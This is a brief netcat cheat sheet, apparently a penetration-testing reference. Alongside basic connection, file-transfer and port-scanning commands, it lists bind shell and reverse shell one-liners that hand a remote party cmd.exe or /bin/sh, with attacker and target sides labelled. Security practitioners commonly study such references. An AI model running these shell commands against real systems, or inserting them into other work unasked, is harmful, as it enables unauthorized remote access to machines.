Netcat Cheat Sheet

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Netcat which has been famously labeled as the “Swiss army knife of hacking” is a networking utility used for reading/writing from TCP/UDP sockets, port scanning, file transfer, port listening, and backdooring.


Netcat Usage

Basic Commands

TCP Port - Connecting

nc -nv <IP> <PORT>

TCP Port - Listening

nc -lvp <PORT>

Connect and return HTTP Page

nc -nv <IP> 80 HEAD / HTTP/1.1

File Transfer

nc -lvp 4444 > output.txt # Receiving End
nc -nv <IP> < input.txt # Sending End

Port Scanning

nc -z <IP> <PORT RANGE>

echo "" | nc -nv -w1 <IP> <PORTS>


Bind Shell

nc -lvp 4444 -e cmd.exe
nc -nv <IP> 4444

Reverse Shell

nc -lvp 443 # Attacker - Receiving
nc -nv <IP> 443 -e cmd.exe # Target - Sending


Bind Shell

nc -lvp 4444 -e /bin/sh
nc -nv <IP> 4444

Reverse Shell

nc -lvp 443
nc -nv <IP> 443 -e /bin/sh

Additional Resources

SANS Netcat Cheat Sheet